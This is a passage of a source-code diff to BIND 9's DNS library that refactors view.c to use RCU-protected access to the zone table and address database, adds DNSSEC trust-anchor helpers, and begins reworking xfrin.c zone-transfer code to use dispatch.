+	dns_zt_t *zonetable = NULL;
+
 	REQUIRE(DNS_VIEW_VALID(view));
-	REQUIRE(view->zonetable != NULL);
 
-	return (dns_zt_load(view->zonetable, stop, newonly));
+	rcu_read_lock();
+	zonetable = rcu_dereference(view->zonetable);
+	if (zonetable != NULL) {
+		result = dns_zt_load(zonetable, stop, newonly);
+	} else {
+		result = ISC_R_SUCCESS;
+	}
+	rcu_read_unlock();
+	return (result);
 }
 
 isc_result_t
-dns_view_asyncload(dns_view_t *view, bool newonly, dns_zt_allloaded_t callback,
+dns_view_asyncload(dns_view_t *view, bool newonly, dns_zt_callback_t *callback,
 		   void *arg) {
+	isc_result_t result;
+	dns_zt_t *zonetable = NULL;
+
 	REQUIRE(DNS_VIEW_VALID(view));
-	REQUIRE(view->zonetable != NULL);
 
-	return (dns_zt_asyncload(view->zonetable, newonly, callback, arg));
+	rcu_read_lock();
+	zonetable = rcu_dereference(view->zonetable);
+	if (zonetable != NULL) {
+		result = dns_zt_asyncload(zonetable, newonly, callback, arg);
+	} else {
+		result = ISC_R_SUCCESS;
+	}
+	rcu_read_unlock();
+	return (result);
 }
 
 isc_result_t
@@ -1651,28 +1460,10 @@ dns_view_checksig(dns_view_t *view, isc_buffer_t *source, dns_message_t *msg) {
 				view->dynamickeys));
 }
 
-isc_result_t
-dns_view_dumpdbtostream(dns_view_t *view, FILE *fp) {
-	isc_result_t result;
-
-	REQUIRE(DNS_VIEW_VALID(view));
-
-	(void)fprintf(fp, ";\n; Cache dump of view '%s'\n;\n", view->name);
-	result = dns_master_dumptostream(view->mctx, view->cachedb, NULL,
-					 &dns_master_style_cache,
-					 dns_masterformat_text, NULL, fp);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-	dns_adb_dump(view->adb, fp);
-	dns_resolver_printbadcache(view->resolver, fp);
-	dns_badcache_print(view->failcache, "SERVFAIL cache", fp);
-	return (ISC_R_SUCCESS);
-}
-
 isc_result_t
 dns_view_flushcache(dns_view_t *view, bool fixuponly) {
 	isc_result_t result;
+	dns_adb_t *adb = NULL;
 
 	REQUIRE(DNS_VIEW_VALID(view));
 
@@ -1694,7 +1485,13 @@ dns_view_flushcache(dns_view_t *view, bool fixuponly) {
 		dns_badcache_flush(view->failcache);
 	}
 
-	dns_adb_flush(view->adb);
+	rcu_read_lock();
+	adb = rcu_dereference(view->adb);
+	if (adb != NULL) {
+		dns_adb_flush(adb);
+	}
+	rcu_read_unlock();
+
 	return (ISC_R_SUCCESS);
 }
 
@@ -1706,13 +1503,17 @@ dns_view_flushname(dns_view_t *view, const dns_name_t *name) {
 isc_result_t
 dns_view_flushnode(dns_view_t *view, const dns_name_t *name, bool tree) {
 	isc_result_t result = ISC_R_SUCCESS;
+	dns_adb_t *adb = NULL;
 
 	REQUIRE(DNS_VIEW_VALID(view));
 
 	if (tree) {
-		if (view->adb != NULL) {
-			dns_adb_flushnames(view->adb, name);
+		rcu_read_lock();
+		adb = rcu_dereference(view->adb);
+		if (adb != NULL) {
+			dns_adb_flushnames(adb, name);
 		}
+		rcu_read_unlock();
 		if (view->resolver != NULL) {
 			dns_resolver_flushbadnames(view->resolver, name);
 		}
@@ -1720,9 +1521,12 @@ dns_view_flushnode(dns_view_t *view, const dns_name_t *name, bool tree) {
 			dns_badcache_flushtree(view->failcache, name);
 		}
 	} else {
-		if (view->adb != NULL) {
-			dns_adb_flushname(view->adb, name);
+		rcu_read_lock();
+		adb = rcu_dereference(view->adb);
+		if (adb != NULL) {
+			dns_adb_flushname(adb, name);
 		}
+		rcu_read_unlock();
 		if (view->resolver != NULL) {
 			dns_resolver_flushbadcache(view->resolver, name);
 		}
@@ -1738,191 +1542,32 @@ dns_view_flushnode(dns_view_t *view, const dns_name_t *name, bool tree) {
 	return (result);
 }
 
-isc_result_t
-dns_view_adddelegationonly(dns_view_t *view, const dns_name_t *name) {
-	dns_name_t *item;
-	unsigned int hash;
-
-	REQUIRE(DNS_VIEW_VALID(view));
-
-	if (view->delonly == NULL) {
-		view->delonly = isc_mem_get(view->mctx,
-					    sizeof(dns_namelist_t) *
-						    DNS_VIEW_DELONLYHASH);
-		for (hash = 0; hash < DNS_VIEW_DELONLYHASH; hash++) {
-			ISC_LIST_INIT(view->delonly[hash]);
-		}
-	}
-	hash = dns_name_hash(name, false) % DNS_VIEW_DELONLYHASH;
-	item = ISC_LIST_HEAD(view->delonly[hash]);
-	while (item != NULL && !dns_name_equal(item, name)) {
-		item = ISC_LIST_NEXT(item, link);
-	}
-	if (item != NULL) {
-		return (ISC_R_SUCCESS);
-	}
-	item = isc_mem_get(view->mctx, sizeof(*item));
-	dns_name_init(item, NULL);
-	dns_name_dup(name, view->mctx, item);
-	ISC_LIST_APPEND(view->delonly[hash], item, link);
-	return (ISC_R_SUCCESS);
-}
-
-isc_result_t
-dns_view_excludedelegationonly(dns_view_t *view, const dns_name_t *name) {
-	dns_name_t *item;
-	unsigned int hash;
-
-	REQUIRE(DNS_VIEW_VALID(view));
-
-	if (view->rootexclude == NULL) {
-		view->rootexclude = isc_mem_get(view->mctx,
-						sizeof(dns_namelist_t) *
-							DNS_VIEW_DELONLYHASH);
-		for (hash = 0; hash < DNS_VIEW_DELONLYHASH; hash++) {
-			ISC_LIST_INIT(view->rootexclude[hash]);
-		}
-	}
-	hash = dns_name_hash(name, false) % DNS_VIEW_DELONLYHASH;
-	item = ISC_LIST_HEAD(view->rootexclude[hash]);
-	while (item != NULL && !dns_name_equal(item, name)) {
-		item = ISC_LIST_NEXT(item, link);
-	}
-	if (item != NULL) {
-		return (ISC_R_SUCCESS);
-	}
-	item = isc_mem_get(view->mctx, sizeof(*item));
-	dns_name_init(item, NULL);
-	dns_name_dup(name, view->mctx, item);
-	ISC_LIST_APPEND(view->rootexclude[hash], item, link);
-	return (ISC_R_SUCCESS);
-}
-
-bool
-dns_view_isdelegationonly(dns_view_t *view, const dns_name_t *name) {
-	dns_name_t *item;
-	unsigned int hash;
-
-	REQUIRE(DNS_VIEW_VALID(view));
-
-	if (!view->rootdelonly && view->delonly == NULL) {
-		return (false);
-	}
-
-	hash = dns_name_hash(name, false) % DNS_VIEW_DELONLYHASH;
-	if (view->rootdelonly && dns_name_countlabels(name) <= 2) {
-		if (view->rootexclude == NULL) {
-			return (true);
-		}
-		item = ISC_LIST_HEAD(view->rootexclude[hash]);
-		while (item != NULL && !dns_name_equal(item, name)) {
-			item = ISC_LIST_NEXT(item, link);
-		}
-		if (item == NULL) {
-			return (true);
-		}
-	}
-
-	if (view->delonly == NULL) {
-		return (false);
-	}
-
-	item = ISC_LIST_HEAD(view->delonly[hash]);
-	while (item != NULL && !dns_name_equal(item, name)) {
-		item = ISC_LIST_NEXT(item, link);
-	}
-	if (item == NULL) {
-		return (false);
-	}
-	return (true);
-}
-
-void
-dns_view_setrootdelonly(dns_view_t *view, bool value) {
-	REQUIRE(DNS_VIEW_VALID(view));
-	view->rootdelonly = value;
-}
-
-bool
-dns_view_getrootdelonly(dns_view_t *view) {
-	REQUIRE(DNS_VIEW_VALID(view));
-	return (view->rootdelonly);
-}
-
 isc_result_t
 dns_view_freezezones(dns_view_t *view, bool value) {
-	REQUIRE(DNS_VIEW_VALID(view));
-	REQUIRE(view->zonetable != NULL);
-
-	return (dns_zt_freezezones(view->zonetable, value));
-}
-
-void
-dns_view_setadbstats(dns_view_t *view, isc_stats_t *stats) {
-	REQUIRE(DNS_VIEW_VALID(view));
-	REQUIRE(!view->frozen);
-	REQUIRE(view->adbstats == NULL);
-
-	isc_stats_attach(stats, &view->adbstats);
-}
-
-void
-dns_view_getadbstats(dns_view_t *view, isc_stats_t **statsp) {
-	REQUIRE(DNS_VIEW_VALID(view));
-	REQUIRE(statsp != NULL && *statsp == NULL);
-
-	if (view->adbstats != NULL) {
-		isc_stats_attach(view->adbstats, statsp);
-	}
-}
-
-void
-dns_view_setresstats(dns_view_t *view, isc_stats_t *stats) {
-	REQUIRE(DNS_VIEW_VALID(view));
-	REQUIRE(!view->frozen);
-	REQUIRE(view->resstats == NULL);
-
-	isc_stats_attach(stats, &view->resstats);
-}
+	isc_result_t result;
+	dns_zt_t *zonetable = NULL;
 
-void
-dns_view_getresstats(dns_view_t *view, isc_stats_t **statsp) {
 	REQUIRE(DNS_VIEW_VALID(view));
-	REQUIRE(statsp != NULL && *statsp == NULL);
 
-	if (view->resstats != NULL) {
-		isc_stats_attach(view->resstats, statsp);
+	rcu_read_lock();
+	zonetable = rcu_dereference(view->zonetable);
+	if (zonetable != NULL) {
+		result = dns_zt_freezezones(zonetable, view, value);
+	} else {
+		result = ISC_R_SUCCESS;
 	}
-}
+	rcu_read_unlock();
 
-void
-dns_view_setresquerystats(dns_view_t *view, dns_stats_t *stats) {
-	REQUIRE(DNS_VIEW_VALID(view));
-	REQUIRE(!view->frozen);
-	REQUIRE(view->resquerystats == NULL);
-
-	dns_stats_attach(stats, &view->resquerystats);
+	return (result);
 }
 
 void
-dns_view_getresquerystats(dns_view_t *view, dns_stats_t **statsp) {
-	REQUIRE(DNS_VIEW_VALID(view));
-	REQUIRE(statsp != NULL && *statsp == NULL);
-
-	if (view->resquerystats != NULL) {
-		dns_stats_attach(view->resquerystats, statsp);
-	}
-}
-
-isc_result_t
-dns_view_initntatable(dns_view_t *view, isc_taskmgr_t *taskmgr,
-		      isc_timermgr_t *timermgr) {
+dns_view_initntatable(dns_view_t *view, isc_loopmgr_t *loopmgr) {
 	REQUIRE(DNS_VIEW_VALID(view));
 	if (view->ntatable_priv != NULL) {
 		dns_ntatable_detach(&view->ntatable_priv);
 	}
-	return (dns_ntatable_create(view, taskmgr, timermgr,
-				    &view->ntatable_priv));
+	dns_ntatable_create(view, loopmgr, &view->ntatable_priv);
 }
 
 isc_result_t
@@ -1936,13 +1581,13 @@ dns_view_getntatable(dns_view_t *view, dns_ntatable_t **ntp) {
 	return (ISC_R_SUCCESS);
 }
 
-isc_result_t
-dns_view_initsecroots(dns_view_t *view, isc_mem_t *mctx) {
+void
+dns_view_initsecroots(dns_view_t *view) {
 	REQUIRE(DNS_VIEW_VALID(view));
 	if (view->secroots_priv != NULL) {
 		dns_keytable_detach(&view->secroots_priv);
 	}
-	return (dns_keytable_create(mctx, &view->secroots_priv));
+	dns_keytable_create(view, &view->secroots_priv);
 }
 
 isc_result_t
@@ -2009,26 +1654,28 @@ dns_view_issecuredomain(dns_view_t *view, const dns_name_t *name,
 
 void
 dns_view_untrust(dns_view_t *view, const dns_name_t *keyname,
-		 dns_rdata_dnskey_t *dnskey) {
+		 const dns_rdata_dnskey_t *dnskey) {
 	isc_result_t result;
 	dns_keytable_t *sr = NULL;
+	dns_rdata_dnskey_t tmpkey;
 
 	REQUIRE(DNS_VIEW_VALID(view));
 	REQUIRE(keyname != NULL);
 	REQUIRE(dnskey != NULL);
 
-	/*
-	 * Clear the revoke bit, if set, so that the key will match what's
-	 * in secroots now.
-	 */
-	dnskey->flags &= ~DNS_KEYFLAG_REVOKE;
-
 	result = dns_view_getsecroots(view, &sr);
 	if (result != ISC_R_SUCCESS) {
 		return;
 	}
 
-	result = dns_keytable_deletekey(sr, keyname, dnskey);
+	/*
+	 * Clear the revoke bit, if set, so that the key will match what's
+	 * in secroots now.
+	 */
+	tmpkey = *dnskey;
+	tmpkey.flags &= ~DNS_KEYFLAG_REVOKE;
+
+	result = dns_keytable_deletekey(sr, keyname, &tmpkey);
 	if (result == ISC_R_SUCCESS) {
 		/*
 		 * If key was found in secroots, then it was a
@@ -2043,6 +1690,88 @@ dns_view_untrust(dns_view_t *view, const dns_name_t *keyname,
 	dns_keytable_detach(&sr);
 }
 
+bool
+dns_view_istrusted(dns_view_t *view, const dns_name_t *keyname,
+		   const dns_rdata_dnskey_t *dnskey) {
+	isc_result_t result;
+	dns_keytable_t *sr = NULL;
+	dns_keynode_t *knode = NULL;
+	bool answer = false;
+	dns_rdataset_t dsset;
+
+	REQUIRE(DNS_VIEW_VALID(view));
+	REQUIRE(keyname != NULL);
+	REQUIRE(dnskey != NULL);
+
+	result = dns_view_getsecroots(view, &sr);
+	if (result != ISC_R_SUCCESS) {
+		return (false);
+	}
+
+	dns_rdataset_init(&dsset);
+	result = dns_keytable_find(sr, keyname, &knode);
+	if (result == ISC_R_SUCCESS) {
+		if (dns_keynode_dsset(knode, &dsset)) {
+			dns_rdata_t rdata = DNS_RDATA_INIT;
+			unsigned char data[4096], digest[DNS_DS_BUFFERSIZE];
+			dns_rdata_dnskey_t tmpkey = *dnskey;
+			dns_rdata_ds_t ds;
+			isc_buffer_t b;
+			dns_rdataclass_t rdclass = tmpkey.common.rdclass;
+
+			/*
+			 * Clear the revoke bit, if set, so that the key
+			 * will match what's in secroots now.
+			 */
+			tmpkey.flags &= ~DNS_KEYFLAG_REVOKE;
+
+			isc_buffer_init(&b, data, sizeof(data));
+			result = dns_rdata_fromstruct(&rdata, rdclass,
+						      dns_rdatatype_dnskey,
+						      &tmpkey, &b);
+			if (result != ISC_R_SUCCESS) {
+				goto finish;
+			}
+
+			result = dns_ds_fromkeyrdata(keyname, &rdata,
+						     DNS_DSDIGEST_SHA256,
+						     digest, &ds);
+			if (result != ISC_R_SUCCESS) {
+				goto finish;
+			}
+
+			dns_rdata_reset(&rdata);
+			isc_buffer_init(&b, data, sizeof(data));
+			result = dns_rdata_fromstruct(
+				&rdata, rdclass, dns_rdatatype_ds, &ds, &b);
+			if (result != ISC_R_SUCCESS) {
+				goto finish;
+			}
+
+			result = dns_rdataset_first(&dsset);
+			while (result == ISC_R_SUCCESS) {
+				dns_rdata_t this = DNS_RDATA_INIT;
+				dns_rdataset_current(&dsset, &this);
+				if (dns_rdata_compare(&rdata, &this) == 0) {
+					answer = true;
+					break;
+				}
+				result = dns_rdataset_next(&dsset);
+			}
+		}
+	}
+
+finish:
+	if (dns_rdataset_isassociated(&dsset)) {
+		dns_rdataset_disassociate(&dsset);
+	}
+	if (knode != NULL) {
+		dns_keynode_detach(&knode);
+	}
+	dns_keytable_detach(&sr);
+	return (answer);
+}
+
 /*
  * Create path to a directory and a filename constructed from viewname.
  * This is a front-end to isc_file_sanitize(), allowing backward
@@ -2387,7 +2116,7 @@ dns_view_loadnta(dns_view_t *view) {
 	dns_ntatable_t *ntatable = NULL;
 	isc_lex_t *lex = NULL;
 	isc_token_t token;
-	isc_stdtime_t now;
+	isc_stdtime_t now = isc_stdtime_now();
 
 	REQUIRE(DNS_VIEW_VALID(view));
 
@@ -2395,10 +2124,9 @@ dns_view_loadnta(dns_view_t *view) {
 		return (ISC_R_SUCCESS);
 	}
 
-	CHECK(isc_lex_create(view->mctx, 1025, &lex));
+	isc_lex_create(view->mctx, 1025, &lex);
 	CHECK(isc_lex_openfile(lex, view->nta_file));
 	CHECK(dns_view_getntatable(view, &ntatable));
-	isc_stdtime_get(&now);
 
 	for (;;) {
 		int options = (ISC_LEXOPT_EOL | ISC_LEXOPT_EOF);
@@ -2455,7 +2183,8 @@ dns_view_loadnta(dns_view_t *view) {
 
 		CHECK(isc_lex_gettoken(lex, options, &token));
 		if (token.type != isc_tokentype_eol &&
-		    token.type != isc_tokentype_eof) {
+		    token.type != isc_tokentype_eof)
+		{
 			CHECK(ISC_R_UNEXPECTEDTOKEN);
 		}
 
@@ -2490,6 +2219,7 @@ dns_view_loadnta(dns_view_t *view) {
 void
 dns_view_setviewcommit(dns_view_t *view) {
 	dns_zone_t *redirect = NULL, *managed_keys = NULL;
+	dns_zt_t *zonetable = NULL;
 
 	REQUIRE(DNS_VIEW_VALID(view));
 
@@ -2501,12 +2231,16 @@ dns_view_setviewcommit(dns_view_t *view) {
 	if (view->managed_keys != NULL) {
 		dns_zone_attach(view->managed_keys, &managed_keys);
 	}
-	if (view->zonetable != NULL) {
-		dns_zt_setviewcommit(view->zonetable);
-	}
 
 	UNLOCK(&view->lock);
 
+	rcu_read_lock();
+	zonetable = rcu_dereference(view->zonetable);
+	if (zonetable != NULL) {
+		dns_zt_setviewcommit(zonetable);
+	}
+	rcu_read_unlock();
+
 	if (redirect != NULL) {
 		dns_zone_setviewcommit(redirect);
 		dns_zone_detach(&redirect);
@@ -2520,7 +2254,7 @@ dns_view_setviewcommit(dns_view_t *view) {
 void
 dns_view_setviewrevert(dns_view_t *view) {
 	dns_zone_t *redirect = NULL, *managed_keys = NULL;
-	dns_zt_t *zonetable;
+	dns_zt_t *zonetable = NULL;
 
 	REQUIRE(DNS_VIEW_VALID(view));
 
@@ -2535,7 +2269,6 @@ dns_view_setviewrevert(dns_view_t *view) {
 	if (view->managed_keys != NULL) {
 		dns_zone_attach(view->managed_keys, &managed_keys);
 	}
-	zonetable = view->zonetable;
 	UNLOCK(&view->lock);
 
 	if (redirect != NULL) {
@@ -2546,9 +2279,12 @@ dns_view_setviewrevert(dns_view_t *view) {
 		dns_zone_setviewrevert(managed_keys);
 		dns_zone_detach(&managed_keys);
 	}
+	rcu_read_lock();
+	zonetable = rcu_dereference(view->zonetable);
 	if (zonetable != NULL) {
 		dns_zt_setviewrevert(zonetable);
 	}
+	rcu_read_unlock();
 }
 
 bool
@@ -2572,3 +2308,152 @@ dns_view_staleanswerenabled(dns_view_t *view) {
 
 	return (result);
 }
+
+void
+dns_view_flushonshutdown(dns_view_t *view, bool flush) {
+	REQUIRE(DNS_VIEW_VALID(view));
+
+	view->flush = flush;
+}
+
+void
+dns_view_sfd_add(dns_view_t *view, const dns_name_t *name) {
+	isc_result_t result;
+
+	REQUIRE(DNS_VIEW_VALID(view));
+
+	result = dns_nametree_add(view->sfd, name, 0);
+	RUNTIME_CHECK(result == ISC_R_SUCCESS);
+}
+
+void
+dns_view_sfd_del(dns_view_t *view, const dns_name_t *name) {
+	REQUIRE(DNS_VIEW_VALID(view));
+
+	dns_nametree_delete(view->sfd, name);
+}
+
+void
+dns_view_sfd_find(dns_view_t *view, const dns_name_t *name,
+		  dns_name_t *foundname) {
+	REQUIRE(DNS_VIEW_VALID(view));
+
+	if (!dns_nametree_covered(view->sfd, name, foundname, 0)) {
+		dns_name_copy(dns_rootname, foundname);
+	}
+}
+
+isc_result_t
+dns_view_getresolver(dns_view_t *view, dns_resolver_t **resolverp) {
+	isc_result_t result;
+	REQUIRE(DNS_VIEW_VALID(view));
+	REQUIRE(resolverp != NULL && *resolverp == NULL);
+	LOCK(&view->lock);
+	if (view->resolver != NULL) {
+		dns_resolver_attach(view->resolver, resolverp);
+		result = ISC_R_SUCCESS;
+	} else {
+		result = ISC_R_SHUTTINGDOWN;
+	}
+	UNLOCK(&view->lock);
+	return (result);
+}
+
+void
+dns_view_setudpsize(dns_view_t *view, uint16_t udpsize) {
+	REQUIRE(DNS_VIEW_VALID(view));
+	view->udpsize = udpsize;
+}
+
+uint16_t
+dns_view_getudpsize(dns_view_t *view) {
+	REQUIRE(DNS_VIEW_VALID(view));
+	return (view->udpsize);
+}
+
+dns_dispatchmgr_t *
+dns_view_getdispatchmgr(dns_view_t *view) {
+	REQUIRE(DNS_VIEW_VALID(view));
+
+	rcu_read_lock();
+	dns_dispatchmgr_t *dispatchmgr = rcu_dereference(view->dispatchmgr);
+	if (dispatchmgr != NULL) {
+		dns_dispatchmgr_ref(dispatchmgr);
+	}
+	rcu_read_unlock();
+
+	return (dispatchmgr);
+}
+
+isc_result_t
+dns_view_addtrustedkey(dns_view_t *view, dns_rdatatype_t rdtype,
+		       const dns_name_t *keyname, isc_buffer_t *databuf) {
+	isc_result_t result;
+	dns_name_t *name = UNCONST(keyname);
+	char rdatabuf[DST_KEY_MAXSIZE];
+	unsigned char digest[ISC_MAX_MD_SIZE];
+	dns_rdata_ds_t ds;
+	dns_rdata_t rdata;
+	isc_buffer_t b;
+
+	REQUIRE(DNS_VIEW_VALID(view));
+	REQUIRE(view->rdclass == dns_rdataclass_in);
+
+	if (rdtype != dns_rdatatype_dnskey && rdtype != dns_rdatatype_ds) {
+		result = ISC_R_NOTIMPLEMENTED;
+		goto cleanup;
+	}
+
+	isc_buffer_init(&b, rdatabuf, sizeof(rdatabuf));
+	dns_rdata_init(&rdata);
+	isc_buffer_setactive(databuf, isc_buffer_usedlength(databuf));
+	CHECK(dns_rdata_fromwire(&rdata, view->rdclass, rdtype, databuf,
+				 DNS_DECOMPRESS_NEVER, &b));
+
+	if (rdtype == dns_rdatatype_ds) {
+		CHECK(dns_rdata_tostruct(&rdata, &ds, NULL));
+	} else {
+		CHECK(dns_ds_fromkeyrdata(name, &rdata, DNS_DSDIGEST_SHA256,
+					  digest, &ds));
+	}
+
+	CHECK(dns_keytable_add(view->secroots_priv, false, false, name, &ds,
+			       NULL, NULL));
+
+cleanup:
+	return (result);
+}
+
+isc_result_t
+dns_view_apply(dns_view_t *view, bool stop, isc_result_t *sub,
+	       isc_result_t (*action)(dns_zone_t *, void *), void *uap) {
+	isc_result_t result;
+	dns_zt_t *zonetable = NULL;
+
+	REQUIRE(DNS_VIEW_VALID(view));
+
+	rcu_read_lock();
+	zonetable = rcu_dereference(view->zonetable);
+	if (zonetable != NULL) {
+		result = dns_zt_apply(zonetable, stop, sub, action, uap);
+	} else {
+		result = ISC_R_SHUTTINGDOWN;
+	}
+	rcu_read_unlock();
+	return (result);
+}
+
+void
+dns_view_getadb(dns_view_t *view, dns_adb_t **adbp) {
+	dns_adb_t *adb = NULL;
+
+	REQUIRE(DNS_VIEW_VALID(view));
+	REQUIRE(adbp != NULL && *adbp == NULL);
+
+	rcu_read_lock();
+	adb = rcu_dereference(view->adb);
+	if (adb != NULL) {
+		dns_adb_attach(adb, adbp);
+	}
+	rcu_read_unlock();
+}
diff --git a/lib/dns/xfrin.c b/lib/dns/xfrin.c
index 0d2930506b..0ee5d3ac57 100644
--- a/lib/dns/xfrin.c
+++ b/lib/dns/xfrin.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -15,26 +17,26 @@
 #include <stdbool.h>
 
 #include <isc/mem.h>
-#include <isc/netmgr.h>
-#include <isc/print.h>
 #include <isc/random.h>
-#include <isc/string.h> /* Required for HP/UX (and others?) */
+#include <isc/result.h>
+#include <isc/string.h>
 #include <isc/util.h>
 
 #include <dns/callbacks.h>
 #include <dns/catz.h>
 #include <dns/db.h>
 #include <dns/diff.h>
-#include <dns/events.h>
+#include <dns/dispatch.h>
 #include <dns/journal.h>
 #include <dns/log.h>
 #include <dns/message.h>
+#include <dns/peer.h>
 #include <dns/rdataclass.h>
 #include <dns/rdatalist.h>
 #include <dns/rdataset.h>
 #include <dns/result.h>
 #include <dns/soa.h>
-#include <dns/tcpmsg.h>
+#include <dns/trace.h>
 #include <dns/transport.h>
 #include <dns/tsig.h>
 #include <dns/view.h>
@@ -43,6 +45,8 @@
 
 #include <dst/dst.h>
 
+#include "probes.h"
+
 /*
  * Incoming AXFR and IXFR.
  */
@@ -90,19 +94,14 @@ typedef enum {
  * Incoming zone transfer context.
  */
 
-struct dns_xfrin_ctx {
+struct dns_xfrin {
 	unsigned int magic;
 	isc_mem_t *mctx;
 	dns_zone_t *zone;
+	dns_view_t *view;
 
 	isc_refcount_t references;
 
-	isc_nm_t *netmgr;
-
-	isc_refcount_t connects; /*%< Connect in progress */
-	isc_refcount_t sends;	 /*%< Send in progress */
-	isc_refcount_t recvs;	 /*%< Receive in progress */
-
 	atomic_bool shuttingdown;
 
 	isc_result_t shutdown_result;
@@ -118,14 +117,12 @@ struct dns_xfrin_ctx {
 	 * may differ due to IXFR->AXFR fallback.
 	 */
 	dns_rdatatype_t reqtype;
-	isc_dscp_t dscp;
 
-	isc_sockaddr_t masteraddr;
+	isc_sockaddr_t primaryaddr;
 	isc_sockaddr_t sourceaddr;
 
-	isc_nmhandle_t *handle;
-	isc_nmhandle_t *readhandle;
-	isc_nmhandle_t *sendhandle;
+	dns_dispatch_t *disp;
+	dns_dispentry_t *dispentry;
 
 	/*% Buffer for IXFR/AXFR request message */
 	isc_buffer_t qbuffer;
@@ -145,7 +142,8 @@ struct dns_xfrin_ctx {
 
 	xfrin_state_t state;
 	uint32_t end_serial;
-	bool is_ixfr;
+	uint32_t expireopt;
+	bool edns, is_ixfr, expireoptset;
 
 	unsigned int nmsg;  /*%< Number of messages recvd */
 	unsigned int nrecs; /*%< Number of records recvd */
@@ -163,7 +161,6 @@ struct dns_xfrin_ctx {
 	unsigned int sincetsig; /*%< recvd since the last TSIG */
 
 	dns_transport_t *transport;
-	isc_tlsctx_t *tlsctx;
 
 	dns_xfrindone_t done;
 
@@ -183,6 +180,13 @@ struct dns_xfrin_ctx {
 
 	dns_rdata_t firstsoa;
 	unsigned char *firstsoa_data;
+
+	isc_tlsctx_cache_t *tlsctx_cache;
+
+	isc_timer_t *max_time_timer;
+	isc_timer_t *max_idle_timer;
+
+	char info[DNS_NAME_MAXTEXT + 32];
 };
 
 #define XFRIN_MAGIC    ISC_MAGIC('X', 'f', 'r', 'I')
@@ -194,72 +198,66 @@ struct dns_xfrin_ctx {
  */
 
 static void
-xfrin_create(isc_mem_t *mctx, dns_zone_t *zone, dns_db_t *db, isc_nm_t *netmgr,
+xfrin_create(isc_mem_t *mctx, dns_zone_t *zone, dns_db_t *db,
 	     dns_name_t *zonename, dns_rdataclass_t rdclass,
-	     dns_rdatatype_t reqtype, const isc_sockaddr_t *masteraddr,
-	     const isc_sockaddr_t *sourceaddr, isc_dscp_t dscp,
-	     dns_tsigkey_t *tsigkey, dns_transport_t *transport,
-	     dns_xfrin_ctx_t **xfrp);
+	     dns_rdatatype_t reqtype, const isc_sockaddr_t *primaryaddr,
+	     const isc_sockaddr_t *sourceaddr, dns_tsigkey_t *tsigkey,
+	     dns_transport_t *transport, isc_tlsctx_cache_t *tlsctx_cache,
+	     dns_xfrin_t **xfrp);
 
 static isc_result_t
-axfr_init(dns_xfrin_ctx_t *xfr);
+axfr_init(dns_xfrin_t *xfr);
 static isc_result_t
-axfr_makedb(dns_xfrin_ctx_t *xfr, dns_db_t **dbp);
+axfr_makedb(dns_xfrin_t *xfr, dns_db_t **dbp);
 static isc_result_t
-axfr_putdata(dns_xfrin_ctx_t *xfr, dns_diffop_t op, dns_name_t *name,
-	     dns_ttl_t ttl, dns_rdata_t *rdata);
+axfr_putdata(dns_xfrin_t *xfr, dns_diffop_t op, dns_name_t *name, dns_ttl_t ttl,
+	     dns_rdata_t *rdata);
 static isc_result_t
-axfr_apply(dns_xfrin_ctx_t *xfr);
+axfr_apply(dns_xfrin_t *xfr);
 static isc_result_t
-axfr_commit(dns_xfrin_ctx_t *xfr);
+axfr_commit(dns_xfrin_t *xfr);
 static isc_result_t
-axfr_finalize(dns_xfrin_ctx_t *xfr);
+axfr_finalize(dns_xfrin_t *xfr);
 
 static isc_result_t
-ixfr_init(dns_xfrin_ctx_t *xfr);
+ixfr_init(dns_xfrin_t *xfr);
 static isc_result_t
-ixfr_apply(dns_xfrin_ctx_t *xfr);
+ixfr_apply(dns_xfrin_t *xfr);
 static isc_result_t
-ixfr_putdata(dns_xfrin_ctx_t *xfr, dns_diffop_t op, dns_name_t *name,
-	     dns_ttl_t ttl, dns_rdata_t *rdata);
+ixfr_putdata(dns_xfrin_t *xfr, dns_diffop_t op, dns_name_t *name, dns_ttl_t ttl,
+	     dns_rdata_t *rdata);
 static isc_result_t
-ixfr_commit(dns_xfrin_ctx_t *xfr);
+ixfr_commit(dns_xfrin_t *xfr);
 
 static isc_result_t
-xfr_rr(dns_xfrin_ctx_t *xfr, dns_name_t *name, uint32_t ttl,
-       dns_rdata_t *rdata);
+xfr_rr(dns_xfrin_t *xfr, dns_name_t *name, uint32_t ttl, dns_rdata_t *rdata);
 
 static isc_result_t
-xfrin_start(dns_xfrin_ctx_t *xfr);
+xfrin_start(dns_xfrin_t *xfr);
 
 static void
-xfrin_connect_done(isc_nmhandle_t *handle, isc_result_t result, void *cbarg);
+xfrin_connect_done(isc_result_t result, isc_region_t *region, void *arg);
 static isc_result_t
-xfrin_send_request(dns_xfrin_ctx_t *xfr);
+xfrin_send_request(dns_xfrin_t *xfr);
 static void
-xfrin_send_done(isc_nmhandle_t *handle, isc_result_t result, void *cbarg);
+xfrin_send_done(isc_result_t eresult, isc_region_t *region, void *arg);
 static void
-xfrin_recv_done(isc_nmhandle_t *handle, isc_result_t result,
-		isc_region_t *region, void *cbarg);
+xfrin_recv_done(isc_result_t result, isc_region_t *region, void *arg);
 
 static void
-xfrin_destroy(dns_xfrin_ctx_t *xfr);
+xfrin_destroy(dns_xfrin_t *xfr);
 
 static void
-xfrin_fail(dns_xfrin_ctx_t *xfr, isc_result_t result, const char *msg);
-static isc_result_t
-render(dns_message_t *msg, isc_mem_t *mctx, isc_buffer_t *buf);
-
+xfrin_timedout(void *);
 static void
-xfrin_logv(int level, const char *zonetext, const isc_sockaddr_t *masteraddr,
-	   const char *fmt, va_list ap) ISC_FORMAT_PRINTF(4, 0);
-
+xfrin_idledout(void *);
 static void
-xfrin_log1(int level, const char *zonetext, const isc_sockaddr_t *masteraddr,
-	   const char *fmt, ...) ISC_FORMAT_PRINTF(4, 5);
+xfrin_fail(dns_xfrin_t *xfr, isc_result_t result, const char *msg);
+static isc_result_t
+render(dns_message_t *msg, isc_mem_t *mctx, isc_buffer_t *buf);
 
 static void
-xfrin_log(dns_xfrin_ctx_t *xfr, int level, const char *fmt, ...)
+xfrin_log(dns_xfrin_t *xfr, int level, const char *fmt, ...)
 	ISC_FORMAT_PRINTF(3, 4);
 
 /**************************************************************************/
@@ -268,7 +266,7 @@ xfrin_log(dns_xfrin_ctx_t *xfr, int level, const char *fmt, ...)
